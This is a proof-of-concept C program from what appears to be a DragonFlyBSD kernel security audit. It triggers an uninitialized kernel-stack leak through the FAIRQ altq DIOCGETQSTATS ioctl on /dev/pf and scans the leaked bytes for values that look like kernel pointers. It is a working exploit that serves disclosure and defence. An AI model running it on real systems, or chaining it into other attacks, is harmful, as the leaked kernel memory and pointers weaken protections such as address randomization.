โฌข DragonFlyBSD Kernel Audit
DF-0592 / fairq_leak.c
โ† back to finding โ†“ download raw
/*
 * DF-0592 PoC โ€” uninitialized kernel-stack leak via fairq_getqstats copyout.
 *
 * Builds a FAIRQ altq discipline + a default Q_DROPTAIL class on the given
 * interface (default: vtnet0), then issues DIOCGETQSTATS and hex-dumps the
 * returned 224-byte struct fairq_classstats.  The fields the kernel helper
 * get_class_stats() never touches are highlighted; if they are non-zero they
 * are leaked stale kernel stack bytes.
 *
 * Must run as root: /dev/pf is 0600 root:wheel
 * (sys/net/pf/pf_ioctl.c:3360).  Requires pf.ko loaded
 * (`kldload pf.ko`) โ€” that is normal system setup, not part of any
 * escalation chain; this is a pure info-leak finding (no escalation).
 *
 * Build:  cc -O2 -o fairq_leak fairq_leak.c
 * Run:    sudo ./fairq_leak [ifname]
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/pf/pfvar.h>
#include <net/altq/altq.h>
#include <net/altq/altq_red.h>
#include <net/altq/altq_fairq.h>

#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define FAIRQ_CLASSSTATS_SIZE 224   /* sizeof(struct fairq_classstats) on amd64 */

static void hexdump_region(const char *buf, int off, int len, const char *tag)
{
    int i, j, nonzero = 0;

    for (i = 0; i < len; i++)
        if (((unsigned char *)buf + off)[i] != 0)
            nonzero++;

    printf("  region [%3d..%3d] (%3d bytes) %s : %d non-zero byte%s\n",
           off, off + len - 1, len, tag, nonzero, nonzero == 1 ? "" : "s");

    /* Print at most 32 bytes of any non-zero content so we have evidence
       of variance across runs without flooding the log. */
    if (nonzero) {
        int shown = 0;
        printf("    ");
        for (i = 0; i < len && shown < 32; i++) {
            unsigned char b = ((unsigned char *)buf + off)[i];
            if (b == 0) continue;
            printf(" %02x@%d", b, off + i);
            shown++;
        }
        printf("\n");
    }
}

int main(int argc, char **argv)
{
    const char *ifname = (argc > 1) ? argv[1] : "vtnet0";
    int fd, error;
    u_int32_t ticket = 0;
    struct pfioc_trans trans;
    struct pfioc_trans_e ioe;
    struct pfioc_altq pa;
    struct pfioc_qstats pq;
    char stats_buf[FAIRQ_CLASSSTATS_SIZE];
    int nr_queue = -1;
    u_int32_t qid_queue = 0;
    u_int32_t nr_total = 0;
    u_int32_t ticket_active = 0;

    fd = open("/dev/pf", O_RDWR);
    if (fd < 0)
        err(1, "open /dev/pf");

    /* ---- 1. begin altq transaction ---- */
    memset(&trans, 0, sizeof(trans));
    memset(&ioe, 0, sizeof(ioe));
    trans.size = 1;
    trans.esize = sizeof(ioe);
    trans.array = &ioe;
    ioe.rs_num = PF_RULESET_ALTQ;
    ioe.ticket = 0;
    if (ioctl(fd, DIOCXBEGIN, &trans))
        err(1, "DIOCXBEGIN");
    ticket = ioe.ticket;
    fprintf(stderr, "begin: ticket=%u\n", ticket);

    /* ---- 2. add the FAIRQ discipline on the interface (qname empty) ---- */
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    pa.action = 0;
    pa.nr = 0;
    strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
    pa.altq.scheduler = ALTQT_FAIRQ;
    pa.altq.ifbandwidth = 10000000;   /* 10 Mbps โ€” arbitrary */
    pa.altq.qname[0] = '\0';          /* discipline, not queue */
    if (ioctl(fd, DIOCADDALTQ, &pa))
        err(1, "DIOCADDALTQ discipline");
    fprintf(stderr, "discipline added on %s (qid=%u)\n", ifname, pa.altq.qid);

    /* ---- 3. add a queue ("def") on the same interface, Q_DROPTAIL default ---- */
    memset(&pa, 0, sizeof(pa));
    pa.ticket = ticket;
    strlcpy(pa.altq.ifname, ifname, sizeof(pa.altq.ifname));
    pa.altq.scheduler = ALTQT_FAIRQ;
    pa.altq.ifbandwidth = 10000000;
    strlcpy(pa.altq.qname, "def", sizeof(pa.altq.qname));
    pa.altq.priority = 0;
    pa.altq.qlimit = 50;
    pa.altq.bandwidth = 0;
    pa.altq.flags = 0;                /* no FARF_RED / FARF_RIO  ->  Q_DROPTAIL */
    if (ioctl(fd, DIOCADDALTQ, &pa))
        err(1, "DIOCADDALTQ queue");
    qid_queue = pa.altq.qid;
    fprintf(stderr, "queue 'def' added (qid=%u)\n", qid_queue);

    /* ---- 4. commit ---- */
    memset(&trans, 0, sizeof(trans));
    memset(&ioe, 0, sizeof(ioe));
    trans.size = 1;
    trans.esize = sizeof(ioe);
    trans.array = &ioe;
    ioe.rs_num = PF_RULESET_ALTQ;
    ioe.ticket = ticket;
    if (ioctl(fd, DIOCXCOMMIT, &trans))
        err(1, "DIOCXCOMMIT");

    /* ---- 5. enumerate active altqs to find the queue's nr & active ticket ---- */
    memset(&pa, 0, sizeof(pa));
    if (ioctl(fd, DIOCGETALTQS, &pa))
        err(1, "DIOCGETALTQS");
    nr_total = pa.nr;
    ticket_active = pa.ticket;
    fprintf(stderr, "active altqs: %u  ticket_active=%u\n", nr_total, ticket_active);

    for (u_int32_t n = 0; n < nr_total; n++) {
        memset(&pa, 0, sizeof(pa));
        pa.ticket = ticket_active;
        pa.nr = n;
        if (ioctl(fd, DIOCGETALTQ, &pa))
            err(1, "DIOCGETALTQ nr=%u", n);
        fprintf(stderr, "  [%u] qname='%s' scheduler=%u qid=%u\n",
                n, pa.altq.qname, pa.altq.scheduler, pa.altq.qid);
        if (pa.altq.qname[0] != 0) {
            nr_queue = (int)n;
        }
    }
    if (nr_queue < 0)
        errx(1, "no queue class found in active altq list");

    /* ---- 6. trigger the leak: DIOCGETQSTATS on the queue ---- */
    memset(&pq, 0, sizeof(pq));
    memset(stats_buf, 0xAA, sizeof(stats_buf));  /* poison to see what kernel writes */
    pq.ticket = ticket_active;
    pq.nr = (u_int32_t)nr_queue;
    pq.buf = stats_buf;
    pq.nbytes = FAIRQ_CLASSSTATS_SIZE;
    pq.scheduler = ALTQT_FAIRQ;
    if (ioctl(fd, DIOCGETQSTATS, &pq))
        err(1, "DIOCGETQSTATS");
    if (pq.nbytes != FAIRQ_CLASSSTATS_SIZE)
        errx(1, "DIOCGETQSTATS returned nbytes=%d (expected %d)",
             pq.nbytes, FAIRQ_CLASSSTATS_SIZE);

    /* ---- 7. analyze the returned struct ---- */
    struct fairq_classstats *cs = (struct fairq_classstats *)stats_buf;
    printf("=== fairq_classstats returned (%d bytes) ===\n", pq.nbytes);
    printf("class_handle = 0x%08x\n", cs->class_handle);
    printf("qlength      = %u\n", cs->qlength);
    printf("qlimit       = %u\n", cs->qlimit);
    printf("qtype        = 0x%x   (Q_RED=0x01 Q_RIO=0x02 Q_DROPTAIL=0x03)\n",
           (unsigned)cs->qtype);   /* altq_classq.h */
    printf("xmit_cnt     = packets=%llu bytes=%llu\n",
           (unsigned long long)cs->xmit_cnt.packets,
           (unsigned long long)cs->xmit_cnt.bytes);
    printf("drop_cnt     = packets=%llu bytes=%llu\n",
           (unsigned long long)cs->drop_cnt.packets,
           (unsigned long long)cs->drop_cnt.bytes);

    printf("\n=== uninitialized-region analysis ===\n");
    /* (a) padding 12..15  (b) padding 52..55  (c) red[3] 56..223 */
    hexdump_region(stats_buf, 12, 4,  "padding(qlimit->xmit_cnt)");
    hexdump_region(stats_buf, 52, 4,  "padding(qtype->red[0])");
    hexdump_region(stats_buf, 56, 168, "red[3] (Q_DROPTAIL: untouched)");

    /* total non-zero bytes in any uninitialized region */
    int total_nz = 0;
    int regions[][2] = { {12, 4}, {52, 4}, {56, 168} };
    for (size_t i = 0; i < sizeof(regions)/sizeof(regions[0]); i++) {
        for (int j = 0; j < regions[i][1]; j++) {
            if (((unsigned char *)stats_buf)[regions[i][0] + j] != 0)
                total_nz++;
        }
    }
    printf("\nTOTAL non-zero bytes in uninitialized regions: %d / 176\n", total_nz);

    /* count kernel-pointer-looking 8-byte windows in the red[] region */
    int ptr_hits = 0;
    for (int i = 56; i + 8 <= 224; i += 1) {
        unsigned long long v;
        memcpy(&v, stats_buf + i, 8);
        if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL)
            ptr_hits++;
    }
    printf("kernel-pointer-looking 8-byte windows in red[] region: %d\n", ptr_hits);

    if (total_nz > 0) {
        printf("\nRESULT: LEAK CONFIRMED โ€” %d bytes of uninitialized kernel "
               "stack returned to userspace.\n", total_nz);
        return 0;
    } else {
        printf("\nRESULT: no leak โ€” all uninitialized regions are zero.\n");
        return 1;
    }
}